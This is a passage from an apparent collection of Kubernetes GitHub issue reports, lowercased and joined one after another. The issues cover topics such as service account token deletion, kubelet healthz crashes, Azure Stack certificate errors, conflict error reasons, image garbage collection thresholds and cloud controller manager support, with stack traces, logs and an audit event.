k8s.io/kubernetes/pkg/api.newrequestcontextfilter.func1 0x7f4e78f47130, 0xc8336a3040, 0xc85f57f960 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/requestcontext.go:101 +0x157\r net/http.handlerfunc.servehttp 0xc82086dfa0, 0x7f4e78f47130, 0xc8336a3040, 0xc85f57f960 \r         /usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/apiserver.  timeouthandler .servehttp.func1 0xc821e91ac0, 0x7f4e78f470f0, 0xc8336a3040, 0xc85f57f960, 0xc85056df20 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:195 +0x91\r created by k8s.io/kubernetes/pkg/apiserver.  timeouthandler .servehttp\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:197 +0x15b\r \r    \r token deletion:\r    \r ...\r i0108 16:03:29.371250      21 handlers.go:165  delete /api/v1/namespaces/workflow-worker-staging/secrets/default-token-797ic:  24.258346ms  200   hyperkube/v1.3.9  linux/amd64  kubernetes/ee10669/tokens-controller  127.0.0.1:49818 \r i0108 16:03:29.389383      21 handlers.go:165  delete /api/v1/namespaces/webhooks-worker-staging/secrets/default-token-quowk:  11.635732ms  200   hyperkube/v1.3.9  linux/amd64  kubernetes/ee10669/tokens-controller  127.0.0.1:49818 \r i0108 16:03:29.417469      21 handlers.go:165  delete /api/v1/namespaces/sops-dev/secrets/default-token-4f047:  23.941188ms  200   hyperkube/v1.3.9  linux/amd64  kubernetes/ee10669/tokens-controller  127.0.0.1:49818 \r i0108 16:03:29.500691      21 handlers.go:165  delete /api/v1/namespaces/user-preferences-dev/secrets/default-token-iwine:  17.127462ms  200   hyperkube/v1.3.9  linux/amd64  kubernetes/ee10669/tokens-controller  127.0.0.1:49818 \r i0108 16:03:29.527143      21 handlers.go:165  delete /api/v1/namespaces/recents-worker-staging/secrets/default-token-4xa3d:  12.412173ms  200   hyperkube/v1.3.9  linux/amd64  kubernetes/ee10669/tokens-controller  127.0.0.1:49818 \r i0108 16:03:29.541986      21 handlers.go:165  delete /api/v1/namespaces/shovel-to-mqs-staging/secrets/default-token-vn0ua:  10.434432ms  200   hyperkube/v1.3.9  linux/amd64  kubernetes/ee10669/tokens-controller  127.0.0.1:49818 \r i0108 16:03:29.561008      21 handlers.go:165  delete /api/v1/namespaces/alf-chunk-dispatch-dev/secrets/default-token-f9iz8:  11.456524ms  200   hyperkube/v1.3.9  linux/amd64  kubernetes/ee10669/tokens-controller  127.0.0.1:49818 \r ...\r    \r filtering for requests against a specific namespace  alf-firehose-dispatch-staging , we see a 404 on a get to the default service account, followed by a delete on the token:\r    \r i0108 19:45:47.294634      24 handlers.go:165  get /api/v1/namespaces/alf-firehose-dispatch-staging/secrets/default-token-i1r7t:  3.100726ms  200   kubelet/v1.3.9  linux/amd64  kubernetes/ee10669  10.3.89.181:48011 \r i0108 19:45:47.651141      24 handlers.go:165  get /api/v1/namespaces/alf-firehose-dispatch-staging/serviceaccounts/default:  30.523032ms  404   hyperkube/v1.3.9  linux/amd64  kubernetes/ee10669/tokens-controller  127.0.0.1:42530 \r i0108 19:45:47.654145      24 handlers.go:165  get /api/v1/namespaces/alf-firehose-dispatch-staging:  2.03876ms  200   hyperkube/v1.3.9  linux/amd64  kubernetes/ee10669  127.0.0.1:42607 \r i0108 19:45:47.673030      24 handlers.go:165  delete /api/v1/namespaces/alf-firehose-dispatch-staging/secrets/default-token-i1r7t:  21.277306ms  200   hyperkube/v1.3.9  linux/amd64  kubernetes/ee10669/tokens-controller  127.0.0.1:42530 \r i0108 19:45:48.120852      24 handlers.go:165  post /api/v1/namespaces/alf-firehose-dispatch-staging/events:  14.628513ms  201   kubelet/v1.3.9  linux/amd64  kubernetes/ee10669  10.3.89.182:57087 \r i0108 19:45:48.608443      24 handlers.go:165  post /api/v1/namespaces/alf-firehose-dispatch-staging/events:  19.827168ms  201   kubelet/v1.3.9  linux/amd64  kubernetes/ee10669  10.3.89.190:54170 \r i0108 19:45:48.812999      24 handlers.go:165  post /api/v1/namespaces/alf-firehose-dispatch-staging/events:  24.551706ms  201   kubelet/v1.3.9  linux/amd64  kubernetes/ee10669  10.3.89.190:54170 \r i0108 19:45:49.294552      24 handlers.go:165  get /api/v1/namespaces/alf-firehose-dispatch-staging/configmaps/hekad-config-map-db2677748d7378117b6ba5dec6021981:  3.056265ms  200   kubelet/v1.3.9  linux/amd64  kubernetes/ee10669  10.3.89.181:48109 \r i0108 19:45:49.454880      24 handlers.go:165  delete /api/v1/namespaces/alf-firehose-dispatch-staging/endpoints/app:  9.45938ms  200   hyperkube/v1.3.9  linux/amd64  kubernetes/ee10669/endpoint-controller  127.0.0.1:42922 \r    \r \r   what you expected to happen  :\r we expected our tokens to persist after apiserver restarts and crashes.\r \r   how to reproduce it    as minimally and precisely as possible :\r we were unable to reproduce it by forcing apiserver restarts, but the problem has not resurfaced after disabling the webhooks authorizer plugin which was triggering the periodic apiserver crashes.\r \r   anything else do we need to know  :\r our apiserver had been crashing for several weeks due to the webhooks authorizer plugin without triggering this issue, so there is likely something else triggering this delete spree apart from the apiserver panics.\r \r @huggsboson @ahakanbaba @ghodss @jbeda

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-proto/4867/ k8sio-deployment-scaled-rollout-deployment-should-not-block-on-annotation-check\r \r the deployment controller never started, see all the deployment e2e tests fail. try to search deployment_controller in the controller manager logs, you won't get anything back.\r \r cc: @kubernetes/sig-testing-bugs

hi,\r    i am trying to set up k8s cluster on azure stack and i found k8s master could not start up because kubelet could not connect to azure stack management portal successfully. the certificate of https://management.local.azurestack.external is self signed and kubelet could not recognize that cert.\r question is how could i workaround this? i tried to import azure stack cert to the master ubuntu vm and restart kubelet, it does not work. any help is appreciated, thanks.\r \r below are the logs:\r e0731 07:42:27.441625   10740 kubelet.go:1318  kubelet failed to get node info: failed to get external id from cloud provider: compute.virtualmachinesclient get: failure sending request: statuscode=0 -- original error: get https://management.local.azurestack.external/subscriptions/a3368291-e427-41b0-b790-66b7be21017b/resourcegroups/andyazurestack/providers/microsoft.compute/virtualmachines/k8s-master-13534591-0?api-version=2016-03-30: x509: certificate signed by unknown authority\r i0731 07:42:27.441718   10740 status_manager.go:140  starting to sync pod status with apiserver\r i0731 07:42:27.441737   10740 kubelet.go:1809  starting kubelet main sync loop.\r i0731 07:42:27.441763   10740 kubelet.go:1820  skipping pod synchronization -  kubelet failed to get node info: failed to get external id from cloud provider: compute.virtualmachinesclient get: failure sending request: statuscode=0 -- original error: get https://management.local.azurestack.external/subscriptions/a3368291-e427-41b0-b790-66b7be21017b/resourcegroups/andyazurestack/providers/microsoft.compute/virtualmachines/k8s-master-13534591-0?api-version=2016-03-30: x509: certificate signed by unknown authority container runtime is down pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r

currently when we create a ds|rc|dc|deployment|rs, the pod is created by the controller serviceaccount actually. this make authorization hard to control the pods since they are not created by the users\r \r for example:\r if i create a ds with the pod which use node port or something need psp to admit these request, i want to grant user with psp permission actually.\r it is wired here i have to grant to the controller serviceaccount with the specific psp to make this work other than the user i am using to create the ds.\r \r so question here, do we plan to make these controllers more flexible for authorzation? \r or something i missed?\r \r ref: audit log for rs-controller\r \r    \r  \r   {\r     \ kind\ : \ event\ ,\r     \ apiversion\ : \ audit.k8s.io/v1beta1\ ,\r     \ metadata\ : {\r       \ creationtimestamp\ : \ 2017-12-19t07:29:37z\ \r     },\r     \ level\ : \ requestresponse\ ,\r     \ timestamp\ : \ 2017-12-19t07:29:37z\ ,\r     \ auditid\ : \ 005520c7-d0e5-4c11-a5bd-15badaab3171\ ,\r     \ stage\ : \ responsecomplete\ ,\r     \ requesturi\ : \ /api/v1/namespaces/default/pods\ ,\r     \ verb\ : \ create\ ,\r     \ user\ : {\r       \ username\ : \ system:serviceaccount:kube-system:replicaset-controller\ ,\r       \ uid\ : \ 41431302-e48e-11e7-8f75-0ee11a7a7faa\ ,\r       \ groups\ :  \r         \ system:serviceaccounts\ ,\r         \ system:serviceaccounts:kube-system\ ,\r         \ system:authenticated\ \r        \r     },\r     \ sourceips\ :  \r       \ ::1\ \r      ,\r     \ objectref\ : {\r       \ resource\ : \ pods\ ,\r       \ namespace\ : \ default\ ,\r       \ apiversion\ : \ v1\ \r     },\r     \ responsestatus\ : {\r       \ metadata\ : {},\r       \ code\ : 201\r     },\r     \ requestobject\ : {\r       \ kind\ : \ pod\ ,\r       \ apiversion\ : \ v1\ ,\r       \ metadata\ : {\r         \ generatename\ : \ hello-8cf5cdbcd-\ ,\r         \ creationtimestamp\ : null,\r         \ labels\ : {\r           \ pod-template-hash\ : \ 479178678\ ,\r           \ run\ : \ hello\ \r         },\r         \ ownerreferences\ :  \r           {\r             \ apiversion\ : \ extensions/v1beta1\ ,\r             \ kind\ : \ replicaset\ ,\r             \ name\ : \ hello-8cf5cdbcd\ ,\r             \ uid\ : \ 5e663c55-e48e-11e7-8f75-0ee11a7a7faa\ ,\r             \ controller\ : true,\r             \ blockownerdeletion\ : true\r           }\r          \r       },\r       \ spec\ : {\r         \ containers\ :  \r           {\r             \ name\ : \ hello\ ,\r             \ image\ : \ openshift/hello-openshift:latest\ ,\r             \ resources\ : {\r               \ limits\ : {\r                 \ cpu\ : \ 250m\ ,\r                 \ memory\ : \ 256mi\ \r               },\r               \ requests\ : {\r                 \ cpu\ : \ 250m\ ,\r                 \ memory\ : \ 256mi\ \r               }\r             },\r             \ terminationmessagepath\ : \ /dev/termination-log\ ,\r             \ terminationmessagepolicy\ : \ file\ ,\r             \ imagepullpolicy\ : \ always\ \r           }\r          ,\r         \ restartpolicy\ : \ always\ ,\r         \ terminationgraceperiodseconds\ : 30,\r         \ dnspolicy\ : \ clusterfirst\ ,\r         \ securitycontext\ : {},\r         \ schedulername\ : \ default-scheduler\ \r       },\r       \ status\ : {}\r     },\r     \ responseobject\ : {\r       \ kind\ : \ pod\ ,\r       \ apiversion\ : \ v1\ ,\r       \ metadata\ : {\r         \ name\ : \ hello-8cf5cdbcd-vmr6k\ ,\r         \ generatename\ : \ hello-8cf5cdbcd-\ ,\r         \ namespace\ : \ default\ ,\r         \ selflink\ : \ /api/v1/namespaces/default/pods/hello-8cf5cdbcd-vmr6k\ ,\r         \ uid\ : \ 5e68fe9d-e48e-11e7-8f75-0ee11a7a7faa\ ,\r         \ resourceversion\ : \ 295\ ,\r         \ creationtimestamp\ : \ 2017-12-19t07:29:37z\ ,\r         \ labels\ : {\r           \ pod-template-hash\ : \ 479178678\ ,\r           \ run\ : \ hello\ \r         },\r         \ ownerreferences\ :  \r           {\r             \ apiversion\ : \ extensions/v1beta1\ ,\r             \ kind\ : \ replicaset\ ,\r             \ name\ : \ hello-8cf5cdbcd\ ,\r             \ uid\ : \ 5e663c55-e48e-11e7-8f75-0ee11a7a7faa\ ,\r             \ controller\ : true,\r             \ blockownerdeletion\ : true\r           }\r          \r       },\r       \ spec\ : {\r         \ volumes\ :  \r           {\r             \ name\ : \ default-token-l4vgm\ ,\r             \ secret\ : {\r               \ secretname\ : \ default-token-l4vgm\ ,\r               \ defaultmode\ : 420\r             }\r           }\r          ,\r         \ containers\ :  \r           {\r             \ name\ : \ hello\ ,\r             \ image\ : \ openshift/hello-openshift:latest\ ,\r             \ resources\ : {\r               \ limits\ : {\r                 \ cpu\ : \ 250m\ ,\r                 \ memory\ : \ 256mi\ \r               },\r               \ requests\ : {\r                 \ cpu\ : \ 250m\ ,\r                 \ memory\ : \ 256mi\ \r               }\r             },\r             \ volumemounts\ :  \r               {\r                 \ name\ : \ default-token-l4vgm\ ,\r                 \ readonly\ : true,\r                 \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\ \r               }\r              ,\r             \ terminationmessagepath\ : \ /dev/termination-log\ ,\r             \ terminationmessagepolicy\ : \ file\ ,\r             \ imagepullpolicy\ : \ always\ \r           }\r          ,\r         \ restartpolicy\ : \ always\ ,\r         \ terminationgraceperiodseconds\ : 30,\r         \ dnspolicy\ : \ clusterfirst\ ,\r         \ serviceaccountname\ : \ default\ ,\r         \ serviceaccount\ : \ default\ ,\r         \ securitycontext\ : {},\r         \ schedulername\ : \ default-scheduler\ ,\r         \ tolerations\ :  \r           {\r             \ key\ : \ node.kubernetes.io/not-ready\ ,\r             \ operator\ : \ exists\ ,\r             \ effect\ : \ noexecute\ ,\r             \ tolerationseconds\ : 300\r           },\r           {\r             \ key\ : \ node.kubernetes.io/unreachable\ ,\r             \ operator\ : \ exists\ ,\r             \ effect\ : \ noexecute\ ,\r             \ tolerationseconds\ : 300\r           }\r          \r       },\r       \ status\ : {\r         \ phase\ : \ pending\ ,\r         \ qosclass\ : \ guaranteed\ \r       }\r     },\r     \ requestreceivedtimestamp\ : \ 2017-12-19t07:29:37.848254z\ ,\r     \ stagetimestamp\ : \ 2017-12-19t07:29:37.853022z\ \r   }\r  \r    \r

 \r   what happened  :\r if two clients update the same api object concurrently, the api server returns a  409 conflict  response with the error message  the object has been modified; please apply your changes to the latest version and try again . apart from checking this message, clients can't differentiate this response from other types of 409 conflict responses. \r inspecting an error message string to figure out what the error was is obviously far from ideal. the  message  field of  meta.v1.status  is only meant to be human-readable. \r \r   what you expected to happen  :\r the  reason  field of the returned  meta.v1.status  object  which is documented as machine-readable  should allow clients to differentiate between conflict types.\r \r   how to reproduce it  as minimally and precisely as possible   :\r send two put requests with the same payload  object with the same  resourceversion   to the api server. \r \r   anything else we need to know?  :\r clients need to handle optimistic locking conflict errors differently than other conflict errors. for example, if a controller runs into this type of error, it shouldn't log it as an error, because conflicts like this are a perfectly normal occurrence  imagine a user updating an object at the same time that a controller is updating the object's  status  . the controller should redo the operation and shouldn't really log that as an error, because it's not actually an error - no ops person should ever be notified of this, as the controller will be able to recover just fine in the next iteration of the reconciliation loop.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r any version  even 1.10 .\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r create a pod with  mountpropagation: bidirectional  in a cluster with both kube-apiserver and kubelet have  mountpropagation = false . the creation will succeed. and the  mountpropagation  option for the volume would be removed silently from the pod's spec.\r \r   what you expected to happen  :\r the pod creation should fail in some way since the requirement cannot be satisfied.\r \r otherwise, the caller cannot know if the result is expected or not.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a cluster with  mountpropagation = false  for both kubelet and kube-apiserver\r 2. create a pod requested  mountpropagation: bidirectional \r 3. the pod was created successfully. the  mountpropagation  option for the volume has been removed silently from the pod's spec.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.1\r - cloud provider or hardware configuration: vms.\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0-62-generic\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r \r   what happened  :\r following is kubelet logs\r   imagegcmanager : disk usage on image filesystem is at 85%  which is over the high threshold  85% . trying to free 3285922611 bytes \r \r it's confusing that why kubelet still try to free   3285922611   bytes when   usage 85%    equals to   high threshold 85%   \r \r \r with the code, i understood that kubelet tried to keep freeing   down to the lowthresholdpercen 80%    not  the highthresholdpercent\r    \r \tif usagepercent >= im.policy.highthresholdpercent {\r \t\tamounttofree := capacity int64 100-im.policy.lowthresholdpercent /100 - available\r \t\tglog.infof \  imagegcmanager : disk usage on image filesystem is at %d%% which is over the high threshold  %d%% . trying to free %d bytes\ , usagepercent, im.policy.highthresholdpercent, amounttofree \r    \r \r \r   what you expected to happen  :\r   imagegcmanager : disk usage on image filesystem is at 85% which is over the high threshold  85% . trying to free 3285922611 bytes down to the low threshold   80% . \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r reduce the imagefs capacity to trigger image gc\r \r \r   environment  :\r - latest kubernetes\r

in this e2e log:      gsutil cp gs://kubernetes-jenkins/logs/kubernetes-e2e-gce-parallel/14712/artifacts/104.197.47.216:22-kubelet.log .      the kubelet crashes three times while handling a healthz check: 1       i0120 22:15:32.616748    3461 server.go:1050  get /healthz:  78.647µs  500 goroutine 2587  running : k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc2091c1960, 0x1f4          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:214 +0xa6 k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc2091c1960, 0x1f4          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:193 +0x32 net/http.error 0x7fd54a993178, 0xc2091c1960, 0xc208ec56e0, 0x58, 0x1f4          /usr/src/go/src/net/http/server.go:1274 +0x9a k8s.io/kubernetes/pkg/healthz.func·002 0x7fd54a993178, 0xc2091c1960, 0xc2089651e0          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/healthz/healthz.go:109 +0x46e net/http.handlerfunc.servehttp 0xc2082f4580, 0x7fd54a993178, 0xc2091c1960, 0xc2089651e0          /usr/src/go/src/net/http/server.go:1265 +0x41 github.com/emicklei/go-restful.func·011 0x7fd54a993178, 0xc2091c1960, 0xc2089651e0          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:278 +0xd3 net/http.handlerfunc.servehttp 0xc2082b9a60, 0x7fd54a993178, 0xc2091c1960, 0xc2089651e0          /usr/src/go/src/net/http/server.go:1265 +0x41 net/http.  servemux .servehttp 0xc2082fc720, 0x7fd54a993178, 0xc2091c1960, 0xc2089651e0          /usr/src/go/src/net/http/server.go:1541 +0x17d github.com/emicklei/go-restful.container.servehttp 0x0, 0x0, 0x0, 0xc20823da80, 0xb, 0x10, 0xc2082fc720, 0x0, 0x2bec1e0, 0x0, ...          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:264 +0x4f k8s.io/kubernetes/pkg/kubelet/server.  filteringcontainer .servehttp 0xc2082b99e0, 0x7fd54a993178, 0xc2091c1960, 0xc2089651e0          <autogenerated>:30 +0x8a k8s.io/kubernetes/pkg/kubelet/server.  server .servehttp 0xc2082fc690, 0x7fd54a993140, 0xc208343c20, 0xc2089651e0          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/server.go:1049 +0x13d net/http.serverhandler.servehttp 0xc208271c20, 0x7fd54a993140, 0xc208343c20, 0xc2089651e0          /usr/src/go/src/net/http/server.go:1703 +0x19a net/http.   curl/7.26.0  127.0.0.1:39312       2       i0120 22:21:14.230768   18047 server.go:1050  get /healthz:  75.988µs  500 goroutine 243  running : k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc208810460, 0x1f4          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:214 +0xa6 k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc208810460, 0x1f4          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:193 +0x32 net/http.error 0x7f5a66b2b5d0, 0xc208810460, 0xc208812000, 0x58, 0x1f4          /usr/src/go/src/net/http/server.go:1274 +0x9a k8s.io/kubernetes/pkg/healthz.func·002 0x7f5a66b2b5d0, 0xc208810460, 0xc208750750          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/healthz/healthz.go:109 +0x46e net/http.handlerfunc.servehttp 0xc2084d2d70, 0x7f5a66b2b5d0, 0xc208810460, 0xc208750750          /usr/src/go/src/net/http/server.go:1265 +0x41 github.com/emicklei/go-restful.func·011 0x7f5a66b2b5d0, 0xc208810460, 0xc208750750          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:278 +0xd3 net/http.handlerfunc.servehttp 0xc2082e8ea0, 0x7f5a66b2b5d0, 0xc208810460, 0xc208750750          /usr/src/go/src/net/http/server.go:1265 +0x41 net/http.  servemux .servehttp 0xc2082ed5f0, 0x7f5a66b2b5d0, 0xc208810460, 0xc208750750          /usr/src/go/src/net/http/server.go:1541 +0x17d github.com/emicklei/go-restful.container.servehttp 0x0, 0x0, 0x0, 0xc2083ac380, 0xb, 0x10, 0xc2082ed5f0, 0x0, 0x2bec1e0, 0x0, ...          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:264 +0x4f k8s.io/kubernetes/pkg/kubelet/server.  filteringcontainer .servehttp 0xc2082e8e20, 0x7f5a66b2b5d0, 0xc208810460, 0xc208750750          <autogenerated>:30 +0x8a k8s.io/kubernetes/pkg/kubelet/server.  server .servehttp 0xc2082ed560, 0x7f5a66b2b598, 0xc2087b3ea0, 0xc208750750          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/server.go:1049 +0x13d net/http.serverhandler.servehttp 0xc20842e300, 0x7f5a66b2b598, 0xc2087b3ea0, 0xc208750750          /usr/src/go/src/net/http/server.go:1703 +0x19a net/http.    curl/7.26.0  127.0.0.1:39454       3       i0120 22:26:55.834103   18779 server.go:1050  get /healthz:  74.144µs  500 goroutine 244  running : k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc2080ef500, 0x1f4          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:214 +0xa6 k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc2080ef500, 0x1f4          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:193 +0x32 net/http.error 0x7f211e4ddec8, 0xc2080ef500, 0xc2085c8660, 0x58, 0x1f4          /usr/src/go/src/net/http/server.go:1274 +0x9a k8s.io/kubernetes/pkg/healthz.func·002 0x7f211e4ddec8, 0xc2080ef500, 0xc2086b1d40          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/healthz/healthz.go:109 +0x46e net/http.handlerfunc.servehttp 0xc2084b6040, 0x7f211e4ddec8, 0xc2080ef500, 0xc2086b1d40          /usr/src/go/src/net/http/server.go:1265 +0x41 github.com/emicklei/go-restful.func·011 0x7f211e4ddec8, 0xc2080ef500, 0xc2086b1d40          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:278 +0xd3 net/http.handlerfunc.servehttp 0xc20849ad60, 0x7f211e4ddec8, 0xc2080ef500, 0xc2086b1d40          /usr/src/go/src/net/http/server.go:1265 +0x41 net/http.  servemux .servehttp 0xc208250a20, 0x7f211e4ddec8, 0xc2080ef500, 0xc2086b1d40          /usr/src/go/src/net/http/server.go:1541 +0x17d github.com/emicklei/go-restful.container.servehttp 0x0, 0x0, 0x0, 0xc208242580, 0xb, 0x10, 0xc208250a20, 0x0, 0x2bec1e0, 0x0, ...          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:264 +0x4f k8s.io/kubernetes/pkg/kubelet/server.  filteringcontainer .servehttp 0xc20849ace0, 0x7f211e4ddec8, 0xc2080ef500, 0xc2086b1d40          <autogenerated>:30 +0x8a k8s.io/kubernetes/pkg/kubelet/server.  server .servehttp 0xc208250990, 0x7f211e4dde90, 0xc2088214a0, 0xc2086b1d40          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/server.go:1049 +0x13d net/http.serverhandler.servehttp 0xc2082ab740, 0x7f211e4dde90, 0xc2088214a0, 0xc2086b1d40          /usr/src/go/src/net/http/server.go:1703 +0x19a net/http.    curl/7.26.0  127.0.0.1:39597

when adding a new zone to an existing k8s cluster:      ube_use_existing_master=true multizone=1 kubernetes_provider=gce kube_gce_zone=us-central1-f num_nodes=3 ./kubernetes/cluster/kube-up.sh       it stalls with:      name                     location       scope  base_instance_name  size  target_size  instance_template           autoscaled kubernetes-minion-group  us-central1-f  zone   kubernetes-minion         3            kubernetes-minion-template waiting for group to become stable, current operations: creating: 3 waiting for group to become stable, current operations: creating: 3 waiting for group to become stable, current operations: creating: 3 waiting for group to become stable, current operations: creating: 3 group is stable ... calling validate-cluster waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying. waiting for 4 ready nodes. 3 ready nodes, 3 registered. retrying.      i'm guessing the 4th node is the master, so this does not terminate  or maybe fails, dunno, it's still running

is this a bug report or feature request?    choose one :\r feature request.\r \r   - describe  in detail  the feature/behavior/change you'd like to see.\r today kubernetes allows and uses key names for labels and annotations that cannot be searched or indexed by mongodb and perhaps some other key/value stores. some of the core kubernetes annotations are like that, for example:\r \ kubernetes.io/cluster-service: true\ \r \r the problem is that neither \ .\  or \ /\  is allowed for key names in mongodb so even though it will happily store the value you cannot use it in a query. there are likely many use cases for using mongodb on top of the kubernetes api which would benefit from this feature/fix. i'll explain mine.\r \r we are creating a ui/platform developed in nodejs on top of kubernetes that is reactive to any changes in k8s  for qstack dot com platform  and we are using mongodb to allow us to quickly search and display related kubernetes objects more in the line of applications rather than individual api object  among other things . \r \r mongodb gives us cached collections that are always up to date because we \ watch\  the k8s api endpoints. this makes it possible to have a ui that is always up to date  pub-sub  and to do searches across different objects e.g. to discover pod-controller relationships  which is currently broken in k8s  33845  or to search by fields that are not allowed/indexed by the restful api i.e. \ <resource>.metadata.uid\ . \r \r i'm aware that this likely won't be implemented/changed easily as all k8s clusters depend on the current label/annotion key name pattern behaviour today but perhaps a query parameter could be added to restful api that transforms/encodes the key names on the fly? \r e.g. \ /api/v1/namespaces/default/pods/?encodekeys=true\  would reply with the usual json but encodes keys with \ . and /\  into something that works for mongodb.\r \r   kubernetes version    use  kubectl version  :\r all versions\r \r   environment  :\r any k8s environment, os etc.

nicely summarized by @jsravn here https://github.com/kubernetes/kubernetes/issues/39526 issuecomment-271258500\r \r > i really don't trust any optimisations in the aws code anymore, as long as calls to aws remain synchronously triggered from non-aws code. regressions keep happening like this one, making aws usage of k8s unstable. i think the aws code should move to updating its state of the vpc periodically and asynchronously, then respond to calls with cached data. then we can strictly control how often aws calls are made and defend against these sort of problems.\r \r there are a lot of challenges with getting there, but i think we can head in that direction.  it will also benefit all cloudproviders.  i am sure that aws rate limits are more of a problem than on other cloud providers, but i also think we also see a lot of real-world extreme usage so aws is also the canary in the coal mine.\r \r i have been tinkering with this for a while.  for example, i was able to implement a cache that would safely cache instanceid -> privatednsname  aka default nodename .  the strategy was to refresh all instances whenever we saw an \ unknown instanceid\ , thus taking advantage of the fact that describeinstances is only one call whether it fetches 1 or 100 instances  ignoring paging .  this also gives us eviction of old instances for free.  but of course this only works because this information is immutable.\r \r the inverse cache likely isn't safe  nodename -> instanceid  - and is the much more common call - because in theory we could reuse a nodename.  but i think this is actually a problem with using nodename as an identifier in general.  we probably should be using node uuid or similar.\r \r @patrickmcclory also pointed out that cloudtrail now supports notifications, which could allow an edge-triggered model  but i don't have the experience to know if this is reliable / sufficient : http://docs.aws.amazon.com/awscloudtrail/latest/userguide/configure-cloudtrail-to-send-notifications.html\r \r another thing: we could watch the k8s nodes, so that we know when a node has launched / is terminated.  in fact, the nodecontroller now does this, and does call into the cloudprovider.  we could use this fact, though i would rather formalize the dependency - either by passing in the node client into the cloudprovider, or by having the nodecontroller post events.\r \r cc @matchstick @saad-ali @chrislovecnm @jsravn @jsafrane @jingxu97 \r

this is a follow-up to  41267.\r \r currently, the service account created in a joining cluster by  kubefed join  is named based on the federation name and the host context name. this is not necessarily unique. we should find a more-unique naming scheme for these service accounts.\r \r we may need to store the service account names somewhere where  kubefed unjoin  can find them.

this is required to make cloud controller manager operational on the various clouds that kubernetes runs on.\r \r we have already added prs for the following clouds:\r \r gce - https://github.com/kubernetes/kubernetes/pull/45313\r aws - https://github.com/kubernetes/kubernetes/pull/47215\r azure - https://github.com/kubernetes/kubernetes/pull/46940\r openstack - https://github.com/kubernetes/kubernetes/pull/47593\r \r the following clouds still need to be addresses:\r \r cloudstack\r mesos\r ovirt\r photon\r rackspace\r vsphere\r \r if anyone is interested in contributing to this effort, please ping me directly  on kubernetes slack or through email

